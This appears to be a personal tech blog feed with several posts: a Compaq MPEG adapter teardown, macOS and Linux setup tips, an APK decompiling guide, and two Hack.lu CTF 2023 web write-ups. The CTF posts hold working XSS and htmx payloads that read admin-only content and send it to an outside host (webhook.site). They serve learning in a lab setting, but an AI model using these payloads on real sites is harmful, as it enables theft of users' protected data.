Compaq LTE MPEG TV Video Adapter

Mon, 22 Dec 2025 18:00:00 +0000

Exactly 8 years ago I came across this Compaq MPEG TV Video adapter on a local auction site where I bought it for a few bucks. Much later it turned out it was quite a rare piece of retro hardware. It plugs at the back of the Compaq LTE docking station (5000 series) to their proprietary mpeg connector, but I haven’t had a chance to test it yet.

(full size: image 1 image 2 image 3)

There’s a Compaq logo at the top and a sticker on the bottom. We can learn it’s powered by 18V (up to 2.6A). It has a power port on the side (positive inside, negative outside), but once the adapter is plugged into a docking station there’s no way to use it, which I assume means it may work standalone? 🤔 In the manual we can find a mention of MPEG AC Adapter (part number 241909-001, page 95-97, Chapter 3.9 Computer Optional Accessories), but this may be even harder to find than the mpeg adapter itself.

(full size: image 4 image 5)

What’s on the back of the adapter? It has a few out ports on the left like composite, S-Video, plus two jacks, in and out. On the right side there’s the VGA port for external monitor, video and S-Video inputs and a keyboard or mouse PS2 port.

(full size: image 6 image 7)

The docking station is already equipped with two PS2 connectors for keyboard/mouse, VGA and headphone/speaker jack, so I imagine it had little value for an average user.

(full size: image 17 image 18)

What else can we learn from the manual?

The MPEG and TV Video Adapter option is supported with the computer and both expansion bases. This option provides an MPEG decoder for high quality digital video playback with Windows scaling and interleaved stereo audio, S-Video I/O for laser disc quality playback video, and composite video supporting the NTSC/PAL formats.

[...]

The graphics controller also supports display of real-time video from the MPEG and TV Video Adapter at a rate of 30 frames per second (fps). It provides the capability to overlay the video in a Windows screen.

[...]

The computer supports an interface to an MPEG and TV Video Adapter that attaches to the rear of the computer. The adapter provides up to 30 fps of live video or MPEG video to the graphics controller for display on the LCD, a CRT, or a television. The MPEG and TV Video Adapter and CD-ROM drive can be used simultaneously.

And below are some pictures after the disassembly. The case is held by 5 screws, 2 hidden behind anti-slip rubber. We can see the manufacture date (May 22 1996) and a few chips:

Philips SAA 7100 WP - some kind of Digital Tuner Decoder Sat (based on a newer SAA 7500 version)
Auravision VXP501 CPQ - video processing
C-Cube CL-480-T128 MV FO JAPAN 9620 - possibly the mpeg codec decode chip made by C-Cube Microsystems (later known as LSI Logic and then Broadcom). 9620 is likely date code indicating 20th week of 1996 (May 13-19th)
CHRONTEL CH7001 AM199B - VGA to NTSC/PAL Encoder (datasheet)

(full size: image 8 image 9 image 10 image 11 image 12 image 13 image 14 image 15 image 16)

Mounting encrypted LUKS kingston pendrive on macos

Sun, 14 Jan 2024 17:00:00 +0000

TLDR 😄

If you read the previous post you should already know I switched from linux to macos. And I learned a new thing! Back in the day I bought a barely used 8GB Kingston Data Traveler (DT) 2000, very cheaply, to keep my most important files safe and portable. It comes with the build-in keypad, you type your password, plug the stick in and it just works, you can now access you files. It’ll wipe your data if you fail to type your password 10 times. I used it for a while, but was bothered by a thought. Would you trust Kingston or any other company with a device they consider secure which you can’t even update and their soft isn’t open-source? Probably yes, because you’re not Snowden 😛 Should be more than enough to keep you files hidden from your grandmother! Btw, don’t underestimate your granny 😄 It wasn’t enough for my brain though, it was still poking me every now and then, annoying! In the end, I wiped the whole pendrive and encrypted it. I don’t remember what I used, probably something which was available via my gui (did I use Ubuntu back in the day?? 😱). I imagine it could be some kind of encrypt checkbox. Fancy encryption FTW. It was enough for my brain to let go 😄 Today, I faced a small issue. I realized that LUKS is not supported by macos. They probably have their own secure tools, which I think I trust even less than the Kingston hardware-based, Full Disk AES 256-bit data encryption in XTS mode. Fancy marketing. Anyway, I already have encrypted partition inside a hardware encrypted USB stick, and the issue, I can’t access my data on macos. Googling time!

I stumbled upon some very neat tool called linsk:

Linsk is a utility that allows you to access Linux-native file system infrastructure, including LVM and LUKS on Windows and macOS.

I decided to give it a go. I followed the install manual, added missing qemu and golang as described in the readme and, finally, linsk itself. Time for the macos manual. Oh, and don’t forget to add golang bin folder to your shell PATH.

Build

linsk build

Connect the encrypted usb stick, macos will show a waring alert box to ask if you want to mount it. Don’t do that! Hit ignore. You can read console warning for more info later

Run the below command to find the path. In my case it’s dev:/dev/disk4

diskutil list

Next we list what’s inside the disk4

sudo linsk ls dev:/dev/disk4

And yes, you’ll be prompted again. Annoying, but we can live with it. As you can see it says crypto_LUKS which means the whole pendrive is behind our encryption wall. It’s mentioned under advanced section.

We need to run ls on our vdb1 with the --luks-container flag

So close, we can see the cryptcontainer, the file system and r, probably read flag.

Run! In the docs you find a magic mapper keyword in command examples. I expect this is what we need to add to our last parameter which is cryptcontainer?

sudo linsk run dev:/dev/disk4 --luks-container vdb1 mapper/cryptcontainer

That’s it! Of course after you successfully typed three passwords, first on the stick, second for sudo and third one for your encrypted vdb. And you guessed correctly, I also encrypted few files separately, so it would be 4! 🤯 linsk hosts the AFP server for you. This is the bridge between linux and macos we needed.

Now, open this Finder and hit Go -> Connect to server

Enjoy!

Ahh, and the last one. Don’t forget to safely unmount the drive! I got an led which flashes during the save/read process. I suppose you don’t want to break some bytes, especially, during the save process on double encrypted drive ☠️

TLDR

Install luks, it’s a small VM which hosts an AFP server to access your files. Ignore all macos warnings.

diskutil list # to grab the disk number
sudo linsk run dev:/dev/disk4 --luks-container vdb1 mapper/cryptcontainer # replace disk4 with your disk number
# command + K to open finder

How to remove username from macos terminal and zsh bira theme cli prompt title

Sat, 06 Jan 2024 16:00:00 +0000

TLDR below 😄

It’s a new year, so I decided to try a few new things. I was thinking a lot about switching to macos so I decided it’s finally time to give it a try. I feel sad leaving majaro liniux, I think it’s an amazing distro with everything you may want for your everyday tasks. I’ll keep it on my private laptop though. So, macos for work and manjaro for everything else, it’s been decided 😉

What I realized after I got a macbook from my company it’s how custom my linux setup was. I promise to write the ultimate manjaro -> macos switching tutorial at some point, but I’m still learning it!

Today’s post is about small terminal update you may be interested to do for yourself. I use zsh combined with ohmyzsh and only git plugin enabled. My favorite theme is bira one of the default ones. I got my laptop with already configured username which includes my name and surname. I like to work in a coffee shops or cowork spaces and prefer not to have my details displayed on every cli command I type. C’mon, just look at this 🙃

Privacy first man! This post should be useful even if you want do make a different modification. I always try to include every step, especially the pointless ones, and as many useful links as possible 🙂

Spoiler alert: we would need to update the window title and the cli prompt separately. I start with the latter, because that’s what I found first 😛

Ok, after some googling here and there, I found this article. It mentions the $PS1 variable. This is the value if you echo it on the bare bash

And we’ve got smth like \s-\v\$. You can find many more properties, like \u - which is username, or \H - hour. If you want to apply some settings for the current terminal session then use export PS1="your_config"

Or at least that’s what they claim in this article! What would be the result for my zsh config then?

As you can see, it’s much more complicated. It contains some ruby, git configs, line break and more. We’re interested in the %n which represents $USERNAME and %m - hostname. These and many more variables are pretty well documented in the zsh prompt expansion docs. So let’s try to replace this value with some custom string!

And if you didn’t forget to wrap the variable in "" you should get something like this. There’s just one issue. Where are the colors?! 😱 See this green bar, it’s now white, but it’s not only that, we’ve also lost the folder colors. This is awful 🤢 We went this far, and still, we need more googling!

I was really close to start reading the official zsh docs. As a side note, I also found this very nice zsh intro. This was the moment when I thought, why not look at the theme itself? And here it is, my lovely bira theme! And what we’ve got here, the PROMPT variable and theuser_host!

We can now fork this config and create our custom theme with the user_host replaced 🎉, but wait, wait, not so fast. We’re a bit too lazy for that, aren’t we? Why not copy-pasting these two lines to to our .zshrc and see what happens? It’s just a config, isn’t it? Should work out of the box, am I right? 🤔 Let’s add these it at the very end of the file

local user_host="%B%(!.%{$fg[red]%}.%{$fg[green]%})buy@me-aCoffee%{$reset_color%} "
PROMPT="╭─${user_host}${current_dir}${rvm_ruby}${vcs_branch}${venv_prompt}
╰─%B${user_symbol}%b "

and we’ve got it! Fully coloured, and no custom theme 🎉

There’s last thing to do. We’ve changed the cli prop, but we also need to change the very top terminal title which still includes my name and surname.

I started changing the title in the Terminal->Settings->Profiles->Window->Title, but this title was overwritten straightway, every time I opened a new Terminal window.

Did you know you can open the terminal inspector via command + shift + I? I didn’t up until now! Sadly, it was pointless, because the title was automatically updated back to what it was after I entered the first cd command. What a pain in the ass!

At least we know it’s related to the zsh and that you can change the terminal title from the cli. I finally found some hints pointing back to the .zshrc file. And in this, the holy grail, the commented out DISABLE_AUTO_TITLE="true" with some explanation for brainless folks like me

# Uncomment the following line to disable auto-setting terminal title.
DISABLE_AUTO_TITLE="true"

Wonderful, so all it’s left is to turn off your terminal or type source ~/.zshrc to update the current terminal session. Voilà!

TLDR

To disable macos Terminal title auto update by zsh, uncomment DISABLE_AUTO_TITLE from your .zshrc file
To change zsh cli prompt title add these two lines to your .zshrc file

local user_host="%B%(!.%{$fg[red]%}.%{$fg[green]%})buy@me-aCoffee%{$reset_color%} "
PROMPT="╭─${user_host}${current_dir}${rvm_ruby}${vcs_branch}${venv_prompt}
╰─%B${user_symbol}%b "

Hack.lu CTF based encoding web challenge writeup

Thu, 19 Oct 2023 06:30:00 +0000

Based Encoding

CTF name: Hack.lu CTF 2023

Challenge name: Based Encoding

Challenge description:

Based encoding as a service. But can we insert a little tomfoolery? Let's find out.

Challenge category: web

Challenge points: 82

When: Fri, Oct. 13, 18:00 — Sun, Oct. 15, 18:00 UTC

TLDR - solution

report a base91 encoded note to admin (XSS with a limited character set)

# btoa("https://webhook.site/your-server?data=") ==> aHR0cHM6Ly93ZWJob29rLnNpdGUveW91ci1zZXJ2ZXI/ZGF0YT0=

script="<script>fetch(\"/\")[\"then\"]((data) => data[\"text\"]())[\"then\"]((html)=>location=atob(\"aHR0cHM6Ly93ZWJob29rLnNpdGUveW91ci1zZXJ2ZXI/ZGF0YT0=\")+btoa(html))</script><p>some tag</p>"
result = based91.decode(script)
print(result.hex())

# f0afecd5baf39dac4294fc6dd286f809445ffb0db053e0adb4964677a7ca80e53c0b26c6157004c3e127107ded37c04e814160531bdd758d4365402d67b83360700a022f45a3cc14aa343a2acff513e49aa6e1436fa0ee472443f8433165989534423bd308ede71d1128b3cde436c4dfa9ccad5f10d8d4e0f08f0651410c054aedf14de6a0d55a22d9dcce

Description

Challenge was marked as beginner friendly. You’re greet with a login page. After signing up you get an access to list, create and report (to admin) encodings

login	create	view	list

After checking the source code and view_encoding.html file we can see that it’s vulnerable to XSS

Inside the app.py file you find a flag. It’s in a database, but only admin knows the id. So the idea is to prepare an encoding with some XSS, report it to the admin, steal the id and get the flag 😉

Our XSS script will be encoded using base91 which means we’re limited to the base91_alphabet. Other characters will be lost during encoding process

Let’s analyze the most important file of this challenge. Inside the app.py there’s the /create function where we find the encoding logic

encoded = based91.encode(text.encode() if not (re.match(r"^[a-f0-9]+$", text) and len(text) % 2 == 0) else bytes.fromhex(text))

First observation is that you can send encodings as a .hex(). Second is that encoding a decoded value will give you the same value (but again, we’re limited to the base91_alphabet)

result = based91.encode(based91.decode('YOUR_EVIL_SCRIPT_but_._and_ _spaces_ _are_missing'))
print (result)

# YOUR_EVIL_SCRIPT_but__and__spaces__are_missisB

Now it’s time to prepare a JS script which will steal the admin decodings. Remember we can’t use spaces and . so we need to access the object using []. Let’s fetch /, then redirect a user to our server with the page data as a query parameter. We used webhook.site as a temporary log server

// btoa("https://webhook.site/your-server?data=") ==> aHR0cHM6Ly93ZWJob29rLnNpdGUveW91ci1zZXJ2ZXI/ZGF0YT0=

fetch("/")
  ["then"]((data) => data["text"]())
  ["then"](
    (html) => (location = atob("aHR0cHM6Ly93ZWJob29rLnNpdGUveW91ci1zZXJ2ZXI/ZGF0YT0=") + btoa(html))
  );

Now it’s time to decode and parse it to hex. Have you noticed these trash characters from before? We’ve got missisB instead of missing. It may break our closing </script> tag. We’ll get rid of this issue by simply adding some random tag at the end of the script

import based91
script="<script>fetch(\"/\")[\"then\"]((data) => data[\"text\"]())[\"then\"]((html)=>location=atob(\"aHR0cHM6Ly93ZWJob29rLnNpdGUveW91ci1zZXJ2ZXI/ZGF0YT0=\")+btoa(html))</><p>some tag</p>"
result = based91.decode(script)
print(result.hex())

# f0afecd5baf39dac4294fc6dd286f809445ffb0db053e0adb4964677a7ca80e53c0b26c6157004c3e127107ded37c04e814160531bdd758d4365402d67b83360700a022f45a3cc14aa343a2acff513e49aa6e1436fa0ee472443f8433165989534423bd308ede71d1128b3cde436c4dfa9ccad5f10d8d4e0f08f0651410c054aedf14de6a0d55a22d9dcce

Now it’s time to create an encoding. We can see the redirect is working (we’re redirected after creating this decoding). Let’s grab an id, report it to admin and check our log server

And we’ve got something! Let’s decode the data

And here’s the id! Let’s go back to the challenge page, open random decoding and replace the id url parameter

so the flag is

flag{bas3d_enc0dings_str1p_off_ur_sk1n}

wrong path 1

Trying to steal an admin cookie which was protected by httpOnly flag and not accessible via document.cookie from the FE

wrong path 2

Trying with different versions of eval with the no-eval policy in place

wrong path 3

Decoding session using flask-unsign and flask-unsign-wordlist. Secret is long and random so nearly impossible to crack

Hack.lu CTF Awesomenotes 1 web challenge writeup

Sun, 15 Oct 2023 20:30:00 +0000

Awesomenotes 1

CTF name: Hack.lu CTF 2023

Challenge name: Awesomenotes 1

Challenge description:

We're excited to announce our new, revolutionary product: A note-taking app. This phenomenal product uses the most up-to-date, bleeding-edge tech in order to stay ahead of all potential security issues. No-one can pwn us.

Challenge category: web

Challenge points: 88

When: Fri, Oct. 13, 18:00 — Sun, Oct. 15, 18:00 UTC

TLDR - solution

<div hx-get="/api/note/flag?t=" hx-trigger="load delay:0.001s" hx-target="#report">get flag</div>
<div
  hx-get="YOUR_SERVER"
  hx-on::config-request="event.detail.parameters['flag'] = document.getElementById('report').innerHTML"
  hx-trigger="load delay:0.8s"
  hx-target="#report"
>
  send flag
</div>

Description

Challenge was marked as beginner friendly. You’re greet with a simple web page where you can create and report a note.

After checking the get_note function we knew the flag location (in a flag note) and that only admin had an access to it.

Another function take_report is called by a bot after reporting a note. The last function upload_note has some logic to sanitize a user input. After a quick look you find that hx- tags are allowed.

Another hint is in the note.html file.

It should be clear by now that we need to prepare a note and use XSS to send us a flag after we report it to admin and that htmx is used/allowed on the FE. There’s even an example 😉

We used webhook.site as a temporary log server.

The idea was to use htmx to make two calls:

first to get the flag note from /api/notes/flag
second to send the flag to our server

noteId is always added to hx-get="/api/note/ on every post call, so adding ?t= at the very end means we can ignore it. hx-trigger sets the runtime delay. hx-target is our target html element, so we used the report bottom link button with id="report".

We’ve got the first call ready (it fails with 401 while testing. It’s a good sign because we don’t have an access to the flag).

The second part is all about hx-on::config-request. In the docs we’ve found you can set event parameters via event.detail.parameters['your_parameter']. We should already have the flag in #report link, so all we need is to get the value via document.getElementById('report').innerHTML. Last thing is to set the trigger to give some time for the first call to update the link.

Send prepared note, wait for a request

and you get the flag

flag{C3r34l_1s_s0up_l1k3_1f_4gr33}

React native android mobile app disassembly

Sun, 10 Sep 2023 15:40:00 +0000

You’re here because you didn’t find a proper “how to” article? Lucky you, I prepared smth worth reading and it’s going to be a step-by-step guide of how to disassemble a react native android mobile app and check the JS code 😉

First of all you need an .apk file. I assume you already have it, otherwise you wouldn’t be reading this. When I write this post, Google already introduced a new file type called ABB. You can read more here if you’re interested. Spoiler alert, it’s not going to change much for us! Why? It’s because at the very end google use this format to generate .apk files, so you don’t get your hands on the .abb unless you’re an app developer and the one who build the app 🙂

Nearly forgot to mention that disassembling an app may be illegal, so don’t tell your mother what you’re going to do 😆

Have you already downloaded the Apktool? It’s one of a few tools you can use, but I found it quite capable. And it just does the job. Get the latest version here and follow the download guide. When you open the link, you’ll find a wrapper script. And it’s called a wrapper for a reason! I paste you what’s inside: exec java $javaOpts -jar "$jarpath" "$@". Oh, java 🤔 but you’ve probably already noticed it. The file you’ve just downloaded has .jar extension. If you’re lazy like me then just run

java -jar ./apktool_2.8.1.jar d app.apk

and no need for any wrappers! We’ve got some output

Let’s play Indinana Jones and see what we can find. First of all, we’ve got few files

Let’s make one step back, and think for a sec. Most of mobile apps has some kind of terms & conditions or privacy policy section. If they use some external libs you can probably find a list of them there. You would be surprised how many things are laying around waiting to be noticed and how useful it can be later. You should gather/check it before you started disassembling an app and I think should mention it earlier in the first place, so.. we’re equal, don’t complain and move forward 😜

AndroidManifest.xml file is where you find app permissions, list of activities, services, providers etc etc. If it’s a RN app, then the assets folder is what you’re really looking for. Inside is index.android.bundle. Oh yeah, we’ve finally found a bundle file 🎊 Double click and

and here we are with a wall of hex 💩 what do you do now? Why not trying strings?

When you scroll up and down randomly you can find some useful stuff. It’s just 22438 lines, so you should handle it! Jokes aside, I think we agree it’s not the most efficient way 😅 I’m here to help you so try the file command

file index.android.bundle

The output should be similar to this one

index.android.bundle: Hermes JavaScript bytecode, version 90

version may wary depending on the app and which react native version it uses. Hermes is an engine. You can enable/disable it when you develop a RN app. It should improve the startup time and memory consumption. I wonder what would be an output if we disable hermes. Feel free to test that and let me know down in the comments 🙂

Anyway, now it’s time to look a tool, or more precisely, a decompiler which can output something more useful than this mess. Take a look at hermes-dec. Github link here. Btw, don’t forget to leave a star (it’s free!). Follow the docs, clone the repo and run

./hermes-dec/hbc_decompiler.py ./app/assets/index.android.bundle file_output.js

what you get in file_output.js is a decompiled version of a bundle file. Go and explore it! Don’t expect to have a nice and clean code. What’s going to be inside is much better, but function/variable names like a,b,c,d,e,.. doesn’t help. I can give you the last advice. Check the app you just decompiled and looks for keywords/strings near data which you want to get. For example you may want a data from a certain screen, but this screen comes with a header/title at the very top like “How to spot summer clouds?”. Looks for it 🙂 Searching for some logic may start the same (popup blocking a “premium”? hehe), but it’s going to be a little bit harder to find 🙂

To sum things up, I personally use this to check if app data is pulled from some kind of server or just hardcoded in the app. It may be faster than tunneling your network data (which is usually encrypted anyway) via Burp or similar tool, especially if you don’t do that every day. Sometimes you can find a hardcoded array of data, or just a plain json file in a raw folder 🙂 Have fun playing!

CapsLock as Backspace or any other key remap guide for linux xorg

Sun, 28 May 2023 15:00:00 +0000

There are so many articles on the web about swapping/remapping keyboard layout. The thing is I found most of them working till reboot, working only on some specific distros, working partially (e.g.: clicking working fine but long press not), or not working at all 🙃 So here it is, the ultimate, 1min (if you’re drinking coffee in the meantime and don’t want to spill some on your super fancy and expensive keyboard ☕), copy paste solution to make CapsLock work as a Backspace 🎉 Or whatever key you want to swap/remap, you just need to know the right key name (how to get a list of valid x11 names).

Let’s start with some intro. I should tell you earlier that you need to use Xorg. If you’re a Wayland user I can only share this link and wish you luck 🤞 (just kidding, the solution from Tony Beta Lambda's should work just fine). Ok, back to the topic. The Xorg server uses the X keyboard extension (XKB) to define keyboard layouts, but where are we going to find the right layout file we need to update? It’s under X11 folder. What’s X11? It’s a protocol to handle drawing on a display and sending input events (keyboard/mouse clicks movements). To sum things up, Xorg is a server/application which uses X11 protocol. That’s why xkb is inside the X11 folder. You can learn a lot just by looking at a file path, don’t you? 😉

Open your X11/xkb/symbols/pc file with the rights to edit.
```
sudo gedit /usr/share/X11/xkb/symbols/pc
```
Find a key <CAPS> part and replace the second part of it with BackSpace. That’s how this line should look like after editing (reminder: you can update any key you want!).
```
key <CAPS> {[  BackSpace,  BackSpace  ]};
```
Clean the cache. We can find it under var/lib/xkb. The X server uses this directory to store the compiled version of the current keymap.
```
sudo rm -rf /var/lib/xkb/*
```
Reboot your system and enjoy your new ⌨ layout!

It’s worth adding that you may need to repeat this process after updating your system. You may say it’s not the most ultimate solution, and you’re right! Why don’t you share your ultimate below? 😉

Code OSS and Github Copilot, or any other missing extension

Wed, 12 Apr 2023 10:00:00 +0000

It’s been a while since I started using Manjaro with Code OSS and I love it! Code OSS is fully open source, where Microsoft VS Code comes with an additional closed-source software. More details here, but long story short, because of this difference, we may not be able to install all the extensions directly via the Code OSS (the catch is the product.json file). Github Copilot is one of them!. Luckily, we can install any extension we want via the code cli command or via CTRL + P.

Since you can no longer download extensions from Visual Studio Marketplace directly, use this github copilot download link. It pulls the latest version. You’ll get a file ending with .vsix.
Use the cli or CTRL + Shift+ P -> Extensions: Install from VSIX... and select GH Copilot file you just downloaded.
Run Ctrl + Shift+ P -> Preferences: Configure Runtime Arguments command, and in the JSON file add the following entry: “enable-proposed-api”:[“github.copilot”] (found here)
Restart Code OSS 😉

The 3rd step will not be needed in the future when the proposed changes to the Code OSS api will be merged.

Welcome to Jekyll!

Tue, 03 Jan 2023 19:47:52 +0000

You’ll find this post in your _posts directory. Go ahead and edit it and re-build the site to see your changes. You can rebuild the site in many different ways, but the most common way is to run jekyll serve, which launches a web server and auto-regenerates your site when a file is updated.

Jekyll requires blog post files to be named according to the following format:

YEAR-MONTH-DAY-title.MARKUP

Where YEAR is a four-digit number, MONTH and DAY are both two-digit numbers, and MARKUP is the file extension representing the format used in the file. After that, include the necessary front matter. Take a look at the source for this post to get an idea about how it works.

Jekyll also offers powerful support for code snippets:

def print_hi(name)
  puts "Hi, #{name}"
end
print_hi('Tom')
#=> prints 'Hi, Tom' to STDOUT.

Check out the Jekyll docs for more info on how to get the most out of Jekyll. File all bugs/feature requests at Jekyll’s GitHub repo. If you have questions, you can ask them on Jekyll Talk.